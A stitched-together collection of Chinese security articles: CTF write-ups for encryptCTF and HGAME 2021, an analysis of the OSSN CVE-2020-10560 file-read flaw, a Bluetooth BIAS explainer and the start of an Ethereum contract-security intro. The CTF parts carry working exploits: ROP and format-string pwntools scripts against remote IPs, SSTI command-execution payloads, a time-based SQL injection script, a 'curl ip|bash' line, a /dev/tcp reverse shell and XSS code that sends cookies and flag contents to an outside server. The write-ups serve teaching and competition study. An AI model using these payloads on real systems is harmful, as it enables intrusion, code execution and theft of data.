int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-20h]
setvbuf(stdout, 0, 2, 0);
printf("$ ");
gets(&s);
if ( !strcmp(&s, "ls") )
run_command_ls();
else
printf("bash: command not found: %s\n", &s);
puts("Bye!");
return 0;
}
思路：题目里面自带`system`，直接栈溢出组ROP。先用`gets`读入`/bin/sh`，然后调用`system`。
from pwn import *
elf = ELF('./pwn2')
p = remote('104.154.106.182', 3456)
pr = 0x08048546 # pop ebp ; ret
bss = 0x0804A040
payload = p32(elf.plt['gets'])+p32(pr)+p32(bss)+p32(elf.plt['system'])+p32(0)+p32(bss)
p.sendlineafter('$ ','a'*44+payload)
p.sendline('/bin/sh\x00')
p.interactive()
### pwn3
[*] '/home/kira/pwn/encryptCTF/pwn3'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-80h]
setvbuf(stdout, 0, 2, 0);
puts("I am hungry you have to feed me to win this challenge...\n");
puts("Now give me some sweet desert: ");
gets(&s);
return 0;
}
思路：这次程序没有`system`函数，需要泄露libc地址，然后ret2libc，远程泄露`gets`地址最低三位是`e60`，可以查到libc版本为`libc6_2.19-0ubuntu6.14_i386`。首先构造一个ROP来泄露libc地址，然后返回`main`函数，这里有个坑点是第二次溢出需要填充的垃圾字符数量不一样，具体可以调试看看，然后再组一次ROP，调用`system`。
from pwn import *
libc = ELF('./libc6_2.19-0ubuntu6.14_i386.so')
elf = ELF('./pwn3')
p = remote('104.154.106.182', 4567)
main = 0x0804847D
p.sendlineafter(': \n','a'*140+p32(elf.plt['puts'])+p32(main)+p32(elf.got['gets']))
libc.address = u32(p.recv(4)) - libc.sym['gets']
print hex(libc.address)
p.sendlineafter(': \n','a'*132+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))
p.interactive()
### pwn4
[*] '/home/kira/pwn/encryptCTF/pwn4'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-84h]
unsigned int v5; // [esp+9Ch] [ebp-4h]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
puts("Do you swear to use this shell with responsility by the old gods and the new?\n");
gets(&s);
printf(&s);
printf("\ni don't belive you!\n%s\n", &s);
return 0;
}
思路：题目开了canary，不能直接进行栈溢出。有一个很明显的格式化字符串漏洞，而且程序自带一个getshell的后门，可以用格式化字符串修改`[email protected]`为后门函数。
# kira @ k1r4 in ~/pwn/encryptCTF on git:master x [19:33:56]
$ ./pwn4
Do you swear to use this shell with responsility by the old gods and the new?
aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaa(nil).0x2.(nil).0xffe571ce.0x1.0xc2.0x61616161.0x252e7025.0x70252e70.0x2e70252e
i don't belive you!
aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
简单测试了一下，可以发现格式化字符的offset是7，因为程序是32位的，可以直接用`pwntools`的`fmtstr_payload`函数。
from pwn import *
elf = ELF('./pwn4')
p = remote('104.154.106.182', 5678)
payload = fmtstr_payload(7,{elf.got['printf']:0x0804853D})
p.sendlineafter('new?\n',payload)
p.interactive()
## web
### Sweeeeeet
Do you like sweets?
http://104.154.106.182:8080
author: codacker50
在响应包头得到一个flag，但是提交提示incorrect。
Set-Cookie: FLAG=encryptCTF%7By0u_c4nt_U53_m3%7D
随后在请求包的cookie里面发现一个`UID=f899139df5e1059396431415e770c6dd`，查了一下为`md5(100)`，于是使用burp进行`0-999`md5后爆破UID
### Slash Slash
题目给了一个flask站的源码，<https://ctf.encryptcvs.cf/files/43338088b56bf932bed9511a18168fd9/handout_slashslash.7z>
查看`application.py`，发现flag应该写进环境变量，而且使用了`virtualenv`设置虚拟环境，题目还提供了`virtualenv`的学习视频。
import os
from flask import Flask, render_template, jsonify
app = Flask(__name__)
'''
secret_key using python3 secrets module
'''
app.secret_key = "9d367b3ba8e8654c6433379763e80c6e"
'''
Learn about virtualenv here:
https://www.youtube.com/watch?v=N5vscPTWKOk&list=PL-osiE80TeTt66h8cVpmbayBKlMTuS55y&index=7
'''
FLAG = os.getenv("FLAG", "encryptCTF{}")
@app.route('/')
def index():
return render_template('index.html')
@app.route('/encryptCTF', methods=["GET"])
def getflag():
return jsonify({
'flag': FLAG
})
if __name__ == '__main__':
app.run(debug=False)
安装一下`virtualenv`，然后运行此虚拟环境，但是发现根本没有`$FLAG`。
# kira @ k1r4 in ~/web/handout_slashslash/app [21:08:40]
$ source ./env/bin/activate
(env)
# kira @ k1r4 in ~/web/handout_slashslash/app [21:08:57]
$ echo $FLAG
直接查看一下`activate`文件，发现最后有一句被注销掉了，`RkxBRwo=`解码就是`FLAG`
export $(echo RkxBRwo= | base64 -d)="ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg=="
那么直接解base64就getflag了。
# kira @ k1r4 in ~/web/handout_slashslash/app [21:09:01]
$ echo ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg==|base64 -d
encryptCTF{comments_&_indentations_makes_johnny_a_good_programmer}
当然，将此行注销去掉，然后修改一下代码为`FLAG =
os.getenv("FLAG")`，就可以通过访问`http://127.0.0.1:5000/encryptCTF`得到flag
`virtualenv`的使用教程可以参考以下[链接](https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000/001432712108300322c61f256c74803b43bfd65c6f8d0d0000)
### vault
i heard you are good at breaking codes, can you crack this vault?
http://104.154.106.182:9090
author: codacker
打开地址后为一个登陆界面，随手试了一发万能密码`username=123' or 1#&password=123' or
1#`，成功登陆，返回一个二维码，扫描后为一个YouTube地址。
猜想flag可能存在数据库，手工测试一下发现可以注入
username=123' or 1=1#&password=123 # 成功登陆
username=123' or 1=2#&password=123 # 登陆失败
直接使用sqlmap跑出管理员密码，但是登陆后仍然是那个二维码，并没有flag
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
+----+----------+----------------------------------+
在数据库翻了半天，原来成功登陆的cookie就是flag，无语了。。。。
Set-Cookie: SESSIONID=ZW5jcnlwdENURntpX0g0dDNfaW5KM2M3aTBuNX0%3D
解码后为：
encryptCTF{i_H4t3_inJ3c7i0n5}
### Env
Einstein said, "time was relative, right?"
meme 1 https://i.imgur.com/LYS3TYi.jpg
meme 2 https://i.imgur.com/FcsusMX
http://104.154.106.182:6060
Author: maskofmydisguise
第一张图片里面提示了两个目录`/home`和`/whatsthetime/`
访问`http://104.154.106.182:6060/whatsthetime`提示`Almost there...or are you?`。
然后访问`http://104.154.106.182:6060/whatsthetime/1`，获得一个新提示
查了一下`THE EPOCH TIME`是指1970年1月1日00:00:00 UTC，猜测后面的数字要为当前时间的时间戳才能出flag
import time
import requests
url = 'http://104.154.106.182:6060/whatsthetime/'
r = requests.get(url+str(int(time.time())))
print r.content
写了一个简单的脚本尝试一下，发现不行，估计服务器时间跟我本地有误差，最近决定拿burp进行爆破，我用当前时间戳减去100，然后每次加1进行爆破，很快就出结果了，如下图所示。
### repeaaaaaat
Can you repeaaaaaat?
http://104.154.106.182:5050
author: codacker
访问链接后出现一大堆logo，查看源码发现了一串base64，`<!-- d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK
-->`，解码为`what_are_you_searching_for`。
然后访问`http://104.154.106.182:5050/what_are_you_searching_for`，又得到一串base64，解码后为一个视频链接`https://www.youtube.com/watch?v=5rAOyh7YmEc`
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 02 Apr 2019 13:22:51 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 429
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>FLAG</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="main.css">
<script src="main.js"></script>
</head>
<body>
<h1> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01ckFPeWg3WW1FYwo= </h1>
</body>
</html>
看完这个视频的我一脸懵逼，这是什么鬼？？？
迷惘几分钟后，发现返回包`server`字段比较陌生，Google一下`Gunicorn`
Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. It's a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy.
可见这个网站是一个python站，看到python站，首先想到的是SSTI模板注入，简单测试了一下发现并没有反应
后面测试的时候发现主页下面的base64变了另外一个`<!-- Lz9zZWNyZXQ9ZmxhZw==
-->`，解码为：`/?secret=flag`，然后再测试一下发现可行了。
拿出一个常用的payload进行测试，返现返回500错误，但至少证明是成功运行了，可能本地的环境和远程的有些微差别。
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
一段一段地进行删除测试，发现`{{"".__class__.__mro__[-1].__subclasses__()[117]}}`的返回结果跟本地不一样
本地测试结果
>>> "".__class__.__mro__[-1].__subclasses__()[117]
<class 'os._wrap_close'>
远程返回结果
<class 'dict_valueiterator'>
删掉序号直接查看返回结果，发现是存在这个class的
那么修改一下payload为`{{"".__class__.__mro__[-1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}`，可正常返回结果。
最后payload为：
{{"".__class__.__mro__[-1].__subclasses__()['os._wrap_close'].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat+flag*').read()")}} | 社区文章 |
# HGAME 2021 week3-web wp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：wh1sper@星盟
## Level – Week3
### Forgetful
考点：简单python-SSTI
题目是一个记事本，添加描述的时候存在SSTI，在查看页面可以看到SSTI已经成功了：
最为常规的payload：
{{[].__class__.__mro__[1].__subclasses__()}}
{{[].__class__.__mro__[1].__subclasses__()[167].__init__.__globals__.__builtins__.__import__('os').popen('ls /').read()}}
{{[].__class__.__mro__[1].__subclasses__()[167].__init__.__globals__.__builtins__.__import__('os').popen('curl ip|bash').read()}}
因为命令执行处有waf，所以可以选择直接弹shell：
nc -lvnp 8888
bash -i >& /dev/tcp/ip/8888 0>&1
姿势还是比较常规；
分享一个从`[].__class__.__mro__[1].__subclasses__()`查找模块位置的脚本：
#python 3
import re
str = '''
[回显内容]
'''
list = re.split(',', str)
for i in range(0, len(list)):
if 'catch_warnings' in list[i]:
print(i)
break
### iki-Jail
考点：MySQL注入，单引号逃逸
熟悉的登录框，熟悉的sql注入
发现用户字段必须要邮箱才可以，而且如果开了Burp抓包之后会出现一些问题，导致Ajax不能工作。
于是直接使用bp对`login.php`发包；
进行了简单的fuzz，过滤如下：
由单双引号过滤想到了`\`逃逸单引号，当我们用户名输入`admin\`的时候，语句变成了：
SELECT * FROM user WHERE username='admin\' AND password='xxx'
那么`xxx`就变成了sql语句执行，造成了注入；
结果发现只能延时注入：
exp：
#python3,wh1sper
import requests
import time
host = 'https://jailbreak.liki.link/login.php'
def mid(bot, top):
return (int)(0.5*(top+bot))
def transToHex(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x', '')
return res
def sqli():
name = ''
for j in range(1, 200):
top = 126
bot = 32
while top > bot:
babyselect = '(database())'#week3sqli
babyselect = "(select group_concat(table_name) from information_schema.TABLES where table_schema like database())"#u5ers
babyselect = "(select group_concat(column_name) from information_schema.columns where table_name like 0x7535657273)"#usern@me,p@ssword
babyselect = "(select `p@ssword` from week3sqli.u5ers)"#sOme7hiNgseCretw4sHidd3n
babyselect = "(select `usern@me` from week3sqli.u5ers)"#admin
payload = "^(if((ascii(substr({},{},1))>{}),1,sleep(2)))#".format(babyselect, j, mid(bot, top))
data = {
"username": "admin\\",
"password": payload.replace(' ', '/**/')
#^(if((ascii(1)>55),sleep(3),sleep(3)))#这个确实延时成功了
}
try:
start = time.time()
r = requests.post(url=host, data=data)
print(data)
print(time.time()-start)
if time.time()-start < 1.5:
bot = mid(bot, top) + 1
else:
top = mid(bot, top)
except:
continue
name += chr(top)
print(name)
if __name__ == '__main__':
sqli()
#hgame{7imeB4se_injeCti0n+hiDe~th3^5ecRets}
hgame{7imeB4se_injeCti0n+hiDe~th3^5ecRets}
### Arknights
考点：PHP反序列化
题目是一个类似于抽卡的网站，描述里面说”r4u用git部署到了自己的服务器上”，那么自然而然Githack把源码hack下来。
[source.zip](https://github.com/Anthem-whisper/CTFWEB_sourcecode/raw/main/HGAME2021/%5BHGAME2021%5DArknights.zip)
在`simulator.php`我们可以看到有很多类，其中第146行
class Eeeeeeevallllllll{
public $msg="坏坏liki到此一游";
public function __destruct()
{
echo $this->msg;
}
}
有一个echo操作，那么我们全局搜索`__toString`。第93行：
class CardsPool{
……
public function __toString(){
return file_get_contents($this->file);
}
}
pop链很明确，就看如何触发反序列化了。
第137行`Session::extract()`:
public function extract($session){
$sess_array = explode(".", $session);
$data = base64_decode($sess_array[0]);
$sign = base64_decode($sess_array[1]);
if($sign === md5($data . self::secret_key)){
$this->sessiondata = unserialize($data);
}else{
unset($this->sessiondata);
die("go away! you hacker!");
}
他会把session的`.`前面的内容反序列化，并且会做一个加盐的判断，但是密钥在103行已经给了
const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";
那么我们可以编写一个exp：
<?php
class Eeeeeeevallllllll
{
public $msg = 'a';
}
class CardsPool
{
public $cards;
private $file = 'flag.php';
}
$pop = new Eeeeeeevallllllll();
$pop->msg = new CardsPool();
//echo serialize($pop);
$key = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";
$sign = md5(serialize($pop).$key);
$payload = base64_encode(serialize($pop)).'.'.base64_encode($sign);
echo $payload;
/*
$sess_array = explode(".", $payload);
$data = base64_decode($sess_array[0]);
echo $data,"\n";
$sign = base64_decode($sess_array[1]);
echo $sign,"\n";
if($sign === md5($data . $key)){
unserialize($data);
}else{
echo $sign;
die("go away! you hacker!");
}
*/
发送session即可得到flag
### Post to zuckonit2.0
考点：XSS
网站是一个创建笔记的站点，存在XSS漏洞
在`/static/www.zip`给了源码：[source.zip](https://github.com/Anthem-whisper/CTFWEB_sourcecode/raw/main/HGAME2021/%5BHGAME2021%5DPost_to_zuckonit2.0.zip)
和week2的XSS比起来多一个功能，可以替换批量字符串，并且在`/preview`查看替换的结果
审计源码，在添加留言的存在一个waf：
跟进函数：
def escape_index(original):
content = original
content_iframe = re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)#只留src属性
if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
return content_iframe
else:
content = re.sub(r"<*/?(.*?)>?", r"\1", content)
return content
可以看到只允许我们添加类似于`<iframe src="xxx">`的标签，并且`xxx`限制在1-8位，显然没办法直接执行JS。
不过我们可以添加`<iframe src="/preview ">`来使得index能直接看到`/preview`页面：
再通过字符串替换功能，把`xxx`换成`javascript:xxxxx`，形成`<iframe
src='javascript:alter(1)'>`即可XSS
payload：
javascript:document.write(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly9pcC9teWpzL2Nvb2tpZS5qcyI+PC9zY3JpcHQ+'));
小手一抖，cookie到手：
hgame{simple_csp_bypass&a_small_mistake_on_the_replace_function}
### Post to zuckonit another version
考点：XSS，HttpOnly绕过
说是绕`HttpOnly`，实则并没有绕；
相比于上一道XSS：
1. 增加了HttpOnly，使得我们直接用js不能直接获取到本地cookie；
2. 修改了功能，把直接替换字符串换成了查找字符串
依然在`static/www.zip`给出了源码：[source.zip](https://github.com/Anthem-whisper/CTFWEB_sourcecode/raw/main/HGAME2021/%5BHGAME2021%5DPost_to_zuckonit2.0_another_version.zip)
源码大同小异，甚至连waf都没变，单独在字符串替换功能上修改为正则匹配并且在两端加`<b>`标签，得到高亮效果
如果按照正常思维来查找’a’字符串的话，效果就如下图：
但是我们应当注意到，这个高亮实际上还是由`String.prototype.replace()`方法来进行 **正则替换**
的，那么我们如果输入`.*`之类的关键词进行高亮就会出现意想不到的效果：
没错，因为正则替换让我们得以有机可乘
思路还是一样，先利用替换构造好XSS，再利用`<iframe src='/preview'>`来触发0-click
payload：
<iframe src='/preview'>
<iframe src='AAA' >
替换的payload：
AAA('srcdoc='<img src=1 onerror=document.write(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly9pcC9teWpzL0J5cGFzc19IVFRQX09ubHkuanMiPjwvc2NyaXB0Pg=='));>')*
替换之后其实是这样：
实际上是利用了iframe标签的srcdoc属性和HTML实体编码来绕过
<iframe src="<b class="search_result">AAA(" srcdoc="<img src=1 onerror=document.write(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly9pcC9teWpzL0J5cGFzc19IVFRQX09ubHkuanMiPjwvc2NyaXB0Pg=='));>" )*<="" b="">' ></iframe>
结果一目了然；
而iframe里面`<script>`指向的JS：
xmlhttp = new XMLHttpRequest();
//是否能跨域
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
location.href = 'http://ip/?cookie=' + btoa(xmlhttp.responseText)
//得用btoa()进行base64编码，不然flag会很神必
//尝试getAllResponseHeaders()不行，因为HttpOnly的Set-Cookie头不适用
}
};
//设置连接信息
//第一个参数表示http的请求方式，支持所有http的请求方式，主要使用get和post
//第二个参数表示请求的url地址，get方式请求的参数也在url中
//第三个参数表示采用异步还是同步方式交互，true表示异步
xmlhttp.open('GET', '/flag', true);
//4.发送数据，开始和服务器端进行交互
//同步方式下，send这句话会在服务器段数据回来后才执行完
//异步方式下，send这句话会立即完成执行
xmlhttp.send('');
不能绕HttpOnly来获取cookie，但是我们可以直接让admin请求`/flag`，把responseText发给我们就行了；
这个是本地打的结果：
大手一抖，flag到手：
因为flag里面出题人故意放了`&`字符让我们踩坑，打出来的responseText需要base64编码。
下面这个才对。 | 社区文章 |
## 前言
Open Source Social
Network（OSSN），是一款用PHP编写的社交网络软件。OSSN允许用户创建一个社交网站，帮助拥有相似专业或个人兴趣的人建立社交关系。该软件拥有约50万下载量。
OSSN官网地址：
<https://www.opensource-socialnetwork.org/>
## 漏洞简介
Open Source Social
Network(OSSN)5.3之前版本中存在一处任意文件读取漏洞（CVE-2020-10560）。漏洞因OSSN生成的Site_Key强度过低从而可以遭受被暴力破解而产生，成功破解Site_Key的攻击者可以利用Site_Key构造出任意文件读取链接，通过components\OssnComments\ossn_com.php文件提供的文件预览接口，读取文件。
## 漏洞分析
Open Source Social Network应用可以从如下官网链接下载：
<https://www.opensource-socialnetwork.org/download>
应用首页如下图
OSSN中提供Comment功能，访问者可以对帖子进行评论，见下图:
评论帖子时，用户可以上传图片以及表情，如下图红框处：
当选择本地图片并上传后，将在评论中生成一个预览，见下图：
注意，这时还没有点击发布评论，上图图片只是上传成功后的一个预览图片。该临时图像文件存储于tmp目录并在前端呈现了预览。
我们来看下这个临时图片文件是如何获取并在页面中展示的。查看一下图片链接，如下图：
链接如下：
<http://192.167.30.119/comment/staticimage?image=UiszT0RJYStoQll2N2g5cHhmQW9PRHlCNVgrSWFKVzFQRHE4eTJqSWthVUVjUFBIb3pxME1FNUJFdk5ER2pONXI4V2pyeXJSMm9VPQ==>
我们可以猜测出image参数对应的字符串应该是文件地址的加密形式，只有构造出正确的base64字符串，攻击者就可以读取任意文件。
最重要的是，经过测试发现，访问这个链接并不需要用户登陆。任何人都可以通过这个链接直接访问我们上传的这个图片文件。
接下来分析下后台代码，看看这个base64字符串是如何还原出文件路径以及如何被构造出来的
上文链接对应的后台代码位于 \components\OssnComments\ossn_com.php
在ossn_com.php中case 'staticimage'分支里，程序将请求中image参数值取出，并进行base64_decode解码。见下图：
随后，对解码后的值再次base64_decode解码，然后利用ossn_string_decrypt方法解码并获取文件地址。见下图：
接着，通过ossn_validate_filepath方法对文件路径进行校验。见下图红框：
ossn_validate_filepath方法如下图所示，可见该方法对目录遍历进行了过滤
即使过滤了../ 我们仍然可以通过绝对路径来进行文件读取，例如直接读取/etc/passwd
最后，程序利用file_get_contents方法对文件内容进行读取，并使用echo进行打印。见下图红框：
通过阅读代码也可以验证之前的测试结果：该接口并未进行身份校验，未登录的用户依然可以通过该接口访问文件。
问题又回到了如何构造加密字符串上。我们首先来看一下程序是如何解码的，位于libraries\ossn.lib.system.php文件中
通过上图的代码看，在解码过程中，需要用到site_key值。
经过分析后发现，程序通过ossn_site_settings方法在数据库中读取site_key值，我们先来看一下存储于ossn_site_settings表中site_key值是什么，见下图：
site_key值为c1a725ed，可见是一个8位数
这样看来，只要破解出这个8位数的site_key，即可构造出指向任意文件路径的链接。
我们接着分析这个site_key是如何生成的，生成代码位于libraries\ossn.lib.upgrade.php文件中，见下图：
通过分析上图加密过程不难发现，该8位随机数是通过如下方式产生的：
1. 以字符串“ ossn”开头。
2. 通过rand方法生成一个随机数并拼接到“ ossn”字符串后。
3. 计算此字符串的md5值。
4. 将字符3-11取出作为site_key值。
本次漏洞就出在计算site_key值的第二步，也就是通过rand产生随机数这一步。
关于rand方法，可以参考php官网
在官网介绍页面中明确的给出了警告，见上图底部
**警告**
此函数不会生成加密安全值，并且不应将其用于加密目的。如果需要密码安全的值，请考虑改用random_int(),random_bytes()或openssl_random_pseudo_bytes()。
rand方法之所以不安全，其中一个比较重要的原因是它能产生的随机数范围有限:
rand方法在没有提供可选参数 _min_ 和 _max_ 时，返回 0 到 RAND_MAX之间的伪随机整数.
在笔者的windows主机上，RAND_MAX值仅为32767
而在笔者的Linux环境中，这个值为2147483647
据资料显示，rand最大可能值为2,147,483,647
因此，只需要生成最多20亿个rand值，将其依次带入ossn_generate_site_secret计算出对应的site_key值，这些site_key值即为所有的site_key值可能值。如果运气好，目标主机是一台windows主机，这样的操作仅仅重复3万多次即可，因为windows主机下rand产生的最大值仅为32767。
在分析了弱密钥是如何生成之后，我们需要一种方法来识别生成的密钥是否有效。在临时图片文件被上传到服务器时，会被存储于ossn_data/tmp/photos文件夹中，见下图：
因此上文中的加密数据成功解码后，其字符串中一定会包含tmp/photos字符串。我们这里用我们的密钥解一下上文中的编码，看一下这个推论是否正确，结果如下图：
可见成功解开的文件路径中的确存在tmp/photos字符串
因此，暴力破解的思路很明朗了
1、攻击者在评论里上传一个图片，不点击发送，查看此时图片临时预览链接，获取链接中image参数值。例如：<http://192.167.30.119/comment/staticimage?image=UiszT0RJYStoQll2N2g5cHhmQW9PRHlCNVgrSWFKVzFQRHE4eTJqSWthVUVjUFBIb3pxME1FNUJFdk5ER2pONXI4V2pyeXJSMm9VPQ==>中的UiszT0RJYStoQll2N2g5cHhmQW9PRHlCNVgrSWFKVzFQRHE4eTJqSWthVUVjUFBIb3pxME1FNUJFdk5ER2pONXI4V2pyeXJSMm9VPQ==>
2、将数字0-2147483647依次带入ossn_generate_site_secret中计算出对应的site_key
3、依次将site_key与image值带入ossn_string_decrypt中，获取解密后的明文
4、如果明文中含有tmp/photos字符串，解密成功，此时的site_key即为正确的site_key值
## 漏洞利用
在获取site_key值后，可以通过ossn_string_encrypt方法，对想要读取的文件进行加密，通过<http://192.167.30.119/comment/staticimage?image=>接口进行读取即可
上文所涉及的工具如下：
site_key计算工具
<https://github.com/LucidUnicorn/CVE-2020-10560-Key-Recovery>
加密解密工具
<https://github.com/kevthehermit/CVE-2020-10560> | 社区文章 |
# 蓝牙冒充攻击（BIAS）漏洞原理分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> _sourcell.xu@海特实验室_
Boffins 披露了一个被称为 BIAS 的蓝牙安全漏洞
(CVE-2020-10135)，攻击者可利用该漏洞欺骗远程配对设备。海特实验室研究员针对于该漏洞进行了详细分析。
在经典蓝牙（Bluetooth Classic）的世界中，link key 是安全的基石。根据蓝牙核心规范 5.2，我们有三种类型的 link
key，它们分别为：
1. combination key
2. temporary key
3. initialization key
本文中，我们关注的是 combination key。该 link key 由两个已经配对的 BR/EDR 设备共享。它主要有如下两个作用：
1、已配对设备再次连接对方时，会使用 link key 鉴权：
2、鉴权通过后，连接双方可以使用 link key 导出用于加密后续通信数据的 encryption key。
本文分析的 BIAS (Bluetooth Impersonation AttackS) 漏洞影响了前者，而后者也曝出过 KNOB (Key
Negotiation Of Bluetooth) 漏洞。概括的说，BIAS 利用如下三点绕过了 BR/EDR 设备的鉴权机制：
1. Legacy authentication 允许单边鉴权
2. Secure authentication 可协商降级为 legacy authentication
3. 经典蓝牙允许 master 与 slave 角色转换
下面将分别分析这三个弱点。
## Legacy Authenticationd 单边鉴权
Legacy authentication 定义了两个角色 verifier 与 claimant。鉴权的具体流程如下：
首先 verifier 把一个随机数 RAND 发送给 claimant，向它发起挑战。之后 verifier 与 claimant
会各自在本地使用固定的算法 `E1` 计算 SRES (Signed RESponse)：
`SRES ``=`` E1``(``link_key``,`` claimant_bd_addr``,`` RAND``)`
同时 claimant 会将计算得到的 SRES 回传给 verifier。Verifier 则比较该 SRES 与自己计算的 SRES’
是否相同。如果相同则鉴权通过。
可见 legacy authentication 并未强制要求 claimant 反过来验证 verifier 的身份。那么攻击者可以伪装成
verifier，在不知道 link key 的情况下，略过 SRES’ 与 SRES 的比对，直接让 claimant 通过鉴权。
## Secure Authentication 降级
在 2020 年，绝大多数 BD/EDR 设备都支持 secure authentication，且默认启用。具体的鉴权流程如下：
从上图可知这种鉴权方法是双向的，因此 legacy Authenticationd 单边鉴权的弱点不能被直接利用。不过，为了兼容较老的仅支持 legacy
authentication 的设备，经典蓝牙允许设备间协商鉴权方法。如果一方设备仅支持 legacy authentication，那么 secure
authentication 将不被启用。
具体的，当两个设备的 controller 与 host 都支持 secure connection 特征时，secure authentication
才会被启用。于是攻击者可以伪造不支持 secure connection 特征的设备，即可降级 secure Authentication 为 legacy
authentication，从而继续利用旧鉴权方法单边认证的弱点：
## Master 与 Slave 角色转换
攻击者在利用 legacy authentication 的单边鉴权弱点攻击目标时，可能并不知道目标的上层应用要求 master 鉴权 slave 还是
slave 鉴权 master，即不确定自己应该扮演 slave 还是 master。
不过，经典蓝牙允许 master 与 slave 的角色转换，具体流程如下：
这样攻击者就可以灵活切换自己的角色，让自己成为 verifier，始终掌握主动权。
## 总结
需要明确的是，虽然 BIAS 可以绕过鉴权，但它仍不能获取 link key，即无法在鉴权后与目标进行加密数据的交互。不过该限制正好可以被 KNOB
突破，所以 BIAS + KNOB 这套组合拳威力巨大，动摇了经典蓝牙安全的根基。
另外 BIAS 攻击的前提是获取已经与目标设备配对的其他设备地址，这个地址用于发起连接后，跳过配对过程，直接进入存在漏洞的鉴权过程。
## References
1. BIAS
2. BLUETOOTH CORE SPECIFICATION Version 5.2 | Vol 2, Part F page 723, 4.1 AUTHENTICATION REQUESTED
3. BLUETOOTH CORE SPECIFICATION Version 5.2 | Vol 2, Part H page 972, 5 AUTHENTICATION
4. BLUETOOTH CORE SPECIFICATION Version 5.2 | Vol 2, Part H page 982, 6.4 E3-KEY GENERATION FUNCTION FOR ENCRYPTION | 社区文章 |
# 以太坊智能合约安全入门了解一下（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**Author: RickGray(@0KEETeam)**
（注：本文分上/下两部分完成，上篇链接[《以太坊智能合约安全入门了解一下（下）》](https://www.anquanke.com/post/id/146322)）接下篇
最近区块链漏洞不要太火，什么交易所用户被钓鱼导致 APIKEY 泄漏，代币合约出现整数溢出漏洞致使代币归零， MyEtherWallet 遭 DNS
劫持致使用户 ETH 被盗等等。频频爆出的区块链安全事件，越来越多的安全从业者将目标转到了 Blockchain
上。经过一段时间的恶补，让我从以太坊智能合约 “青铜I段” 升到了
“青铜III段”，本文将从以太坊智能合约的一些特殊机制说起，详细地剖析已发现各种漏洞类型，对每一种漏洞类型都会提供一段简单的合约代码来对漏洞成因和攻击方法进行说明。
在阅读接下来的文章内容之前，我假定你已经对以太坊智能合约的相关概念已经有了一定的了解。如果从开发者的角度来看智能，大概是这个样子：
以太坊专门提供了一种叫 EVM 的虚拟机供合约代码运行，同时也提供了面向合约的语言来加快开发者开发合约，像官方推荐且用的最多的 Solidity
是一种语法类似 JavaScript
的合约开发语言。开发者按一定的业务逻辑编写合约代码，并将其部署到以太坊上，代码根据业务逻辑将数据记录在链上。以太坊其实就是一个应用生态平台，借助智能合约我们可以开发出各式各样的应用发布到以太坊上供业务直接使用。关于以太坊/智能合约的概念可参考[文档](http://solidity-cn.readthedocs.io/zh/develop/introduction-to-smart-contracts.html)。
接下来也是以 Solidity 为例来说明以太坊智能合约的一些已存在安全问题。
## I. 智能合约开发 – Solidity
Solidity 的语法类似 JavaSript，整体还是比较好上手，一个简单的用 Solidity 编写的合约代码如下
语法相关的话我建议可以先看一下这个[教学系列](https://www.youtube.com/playlist?list=PLUMwusiHZZhpf8ItZBkR95ekkMGNKvuNR)（FQ），下面我说说我在学习和复习以太坊智能合约时一开始比较懵逼的地方：
### 1\. 以太坊账户和智能合约区别
以太坊账户分两种，外部账户和合约账户。外部账户由一对公私钥进行管理，账户包含着 Ether 的余额，而合约账户除了可以含有 Ether
余额外，还拥有一段特定的代码，预先设定代码逻辑在外部账户或其他合约对其合约地址发送消息或发生交易时被调用和处理：
**外部账户 EOA**
* 由公私钥对控制
* 拥有 ether 余额
